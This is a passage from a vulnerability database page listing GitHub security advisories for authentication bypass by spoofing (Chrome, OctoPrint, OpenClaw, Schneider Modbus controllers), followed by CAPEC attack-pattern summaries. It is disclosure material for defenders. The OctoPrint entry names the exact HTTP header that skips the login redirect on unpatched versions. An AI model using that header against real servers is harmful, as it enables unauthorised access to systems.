      "url": "https://github.com/WhiskeySockets/Baileys"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Baileys has message upsert / hist sync spoofing and app state corruption when using maliciously crafted protocolMessage payload"
}

GHSA-QW7G-RPH5-VW92

Vulnerability from github – Published: 2022-05-24 17:48 – Updated: 2022-05-24 17:48
VLAI
Details

Inappropriate implementation in Autofill in Google Chrome prior to 90.0.4430.72 allowed a remote attacker to spoof security UI via a crafted HTML page.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-21216"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-26T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Inappropriate implementation in Autofill in Google Chrome prior to 90.0.4430.72 allowed a remote attacker to spoof security UI via a crafted HTML page.",
  "id": "GHSA-qw7g-rph5-vw92",
  "modified": "2022-05-24T17:48:54Z",
  "published": "2022-05-24T17:48:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21216"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop_14.html"
    },
    {
      "type": "WEB",
      "url": "https://crbug.com/1173297"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EAJ42L4JFPBJATCZ7MOZQTUDGV4OEHHG"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/U3GZ42MYPGD35V652ZPVPYYS7A7LVXVY"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VUZBGKGVZADNA3I24NVG7HAYYUTOSN5A"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202104-08"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-4906"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-QW93-H6PF-226X

Vulnerability from github – Published: 2025-04-22 16:49 – Updated: 2025-06-30 12:52
VLAI
Summary
OctoPrint Authenticated Reverse Proxy Page Authentication Bypass
Details

Impact

OctoPrint versions up until and including 1.10.3 contain a vulnerability that allows an attacker to bypass the login redirect and directly access the rendered HTML of certain frontend pages.

The impact on data exposure is minimal because, typically, data is loaded via API requests that correctly enforce user authentication. In the current codebase, cases where data is directly embedded in the page content are rare. However, one notable exception is the authenticated variant of the reverse proxy test page, which displays the IP addresses of configured reverse proxies.

The primary risk lies in potential future modifications to the codebase that might incorrectly rely on the vulnerable internal functions for authentication checks, leading to security vulnerabilities.

Patches

The vulnerability has been patched in version 1.11.0.

Details

An authentication bypass vulnerability exists in the following functions defined in octoprint/server/util/init.py:

  • require_login
  • require_login_with
  • require_fresh_login_with

By adding the HTTP header X-Preemptive-Recording: yes to HTTP requests, these functions allow requests to proceed without redirecting to the login screen, effectively bypassing the login mechanism in the frontend. However, this only grants access to frontend page content, while authenticated API endpoints still enforce proper session validation.

Credits

This vulnerability was discovered and responsibly disclosed to OctoPrint by Jacopo Tediosi

Severity
4.3 (Medium)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.10.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "OctoPrint"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-32788"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-22T16:49:43Z",
    "nvd_published_at": "2025-04-22T18:15:59Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nOctoPrint versions up until and including 1.10.3 contain a vulnerability that allows an attacker to bypass the login redirect and directly access the rendered HTML of certain frontend pages. \n\nThe impact on data exposure is minimal because, typically, data is loaded via API requests that correctly enforce user authentication. In the current codebase, cases where data is directly embedded in the page content are rare. However, one notable exception is the authenticated variant of the reverse proxy test page, which displays the IP addresses of configured reverse proxies. \n\nThe primary risk lies in potential future modifications to the codebase that might incorrectly rely on the vulnerable internal functions for authentication checks, leading to security vulnerabilities.\n\n### Patches\n\nThe vulnerability has been patched in version 1.11.0.\n\n### Details\n\nAn authentication bypass vulnerability exists in the following functions defined in [octoprint/server/util/init.py](https://github.com/OctoPrint/OctoPrint/blob/d79a0d20f3f1c7f2edb56dedda3b70267a937e65/src/octoprint/server/util/__init__.py):\n\n- `require_login`\n- `require_login_with`\n- `require_fresh_login_with`\n\nBy adding the HTTP header `X-Preemptive-Recording: yes` to HTTP requests, these functions allow requests to proceed without redirecting to the login screen, effectively bypassing the login mechanism in the frontend. However, this only grants access to frontend page content, while authenticated API endpoints still enforce proper session validation.\n\n### Credits\n\nThis vulnerability was discovered and responsibly disclosed to OctoPrint by Jacopo Tediosi",
  "id": "GHSA-qw93-h6pf-226x",
  "modified": "2025-06-30T12:52:02Z",
  "published": "2025-04-22T16:49:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OctoPrint/OctoPrint/security/advisories/GHSA-qw93-h6pf-226x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32788"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OctoPrint/OctoPrint/commit/41ff431014edfa18ca1a01897b10463934dc7fc2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OctoPrint/OctoPrint"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/octoprint/PYSEC-2025-56.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OctoPrint Authenticated Reverse Proxy Page Authentication Bypass"
}

GHSA-QWMF-95R9-GX9X

Vulnerability from github – Published: 2026-03-21 03:31 – Updated: 2026-03-24 18:05
VLAI
Summary
Duplicate Advisory: OpenClaw's gateway tokenless Tailscale auth applied to HTTP routes
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-hff7-ccv5-52f8. This link is maintained to preserve external references.

Original Description

OpenClaw versions prior to 2026.2.21 incorrectly apply tokenless Tailscale header authentication to HTTP gateway routes, allowing bypass of token and password requirements. Attackers on trusted networks can exploit this misconfiguration to access HTTP gateway routes without proper authentication credentials.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
8.2 (High)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2026.2.21"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-24T18:05:53Z",
    "nvd_published_at": "2026-03-21T01:17:07Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-hff7-ccv5-52f8. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw versions prior to 2026.2.21 incorrectly apply tokenless Tailscale header authentication to HTTP gateway routes, allowing bypass of token and password requirements. Attackers on trusted networks can exploit this misconfiguration to access HTTP gateway routes without proper authentication credentials.",
  "id": "GHSA-qwmf-95r9-gx9x",
  "modified": "2026-03-24T18:05:53Z",
  "published": "2026-03-21T03:31:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-hff7-ccv5-52f8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32045"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/356d61aacfa5b0f1d5830716ec59d70682a3e7b8"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-authentication-bypass-in-http-gateway-routes-via-tokenless-tailscale-auth"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: OpenClaw\u0027s gateway tokenless Tailscale auth applied to HTTP routes",
  "withdrawn": "2026-03-24T18:05:53Z"
}

GHSA-QX3C-87PM-WQPC

Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2026-05-29 15:30
VLAI
Details

Authentication Bypass by Spoofing vulnerability exists in EcoStruxure Control Expert (all versions prior to V15.0 SP1, including all versions of Unity Pro), EcoStruxure Control Expert V15.0 SP1, EcoStruxure Process Expert (all versions, including all versions of EcoStruxure Hybrid DCS), SCADAPack RemoteConnect for x70 (all versions), Modicon M580 CPU (all versions - part numbers BMEP and BMEH), Modicon M340 CPU (all versions - part numbers BMXP34*), that could cause unauthorized access in read and write mode to the controller by spoofing the Modbus communication between the engineering software and the controller.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-22779"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-14T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Authentication Bypass by Spoofing vulnerability exists in EcoStruxure Control Expert (all versions prior to V15.0 SP1, including all versions of Unity Pro), EcoStruxure Control Expert V15.0 SP1, EcoStruxure Process Expert (all versions, including all versions of EcoStruxure Hybrid DCS), SCADAPack RemoteConnect for x70 (all versions), Modicon M580 CPU (all versions - part numbers BMEP* and BMEH*), Modicon M340 CPU (all versions - part numbers BMXP34*), that could cause unauthorized access in read and write mode to the controller by spoofing the Modbus communication between the engineering software and the controller.",
  "id": "GHSA-qx3c-87pm-wqpc",
  "modified": "2026-05-29T15:30:24Z",
  "published": "2022-05-24T19:07:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22779"
    },
    {
      "type": "WEB",
      "url": "http://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-194-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-21: Exploitation of Trusted Identifiers

An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-459: Creating a Rogue Certification Authority Certificate

An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.

CAPEC-461: Web Services API Signature Forgery Leveraging Hash Function Extension Weakness

An adversary utilizes a hash function extension/padding weakness, to modify the parameters passed to the web service requesting authentication by generating their own call in order to generate a legitimate signature hash (as described in the notes), without knowledge of the secret token sometimes provided by the web service.

CAPEC-473: Signature Spoof

An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.

CAPEC-476: Signature Spoofing by Misrepresentation

An attacker exploits a weakness in the parsing or display code of the recipient software to generate a data blob containing a supposedly valid signature, but the signer's identity is falsely represented, which can lead to the attacker manipulating the recipient software or its victim user to perform compromising actions.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-667: Bluetooth Impersonation AttackS (BIAS)

An adversary disguises the MAC address of their Bluetooth enabled device to one for which there exists an active and trusted connection and authenticates successfully. The adversary can then perform malicious actions on the target Bluetooth device depending on the target’s capabilities.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.

← Back to the CWE list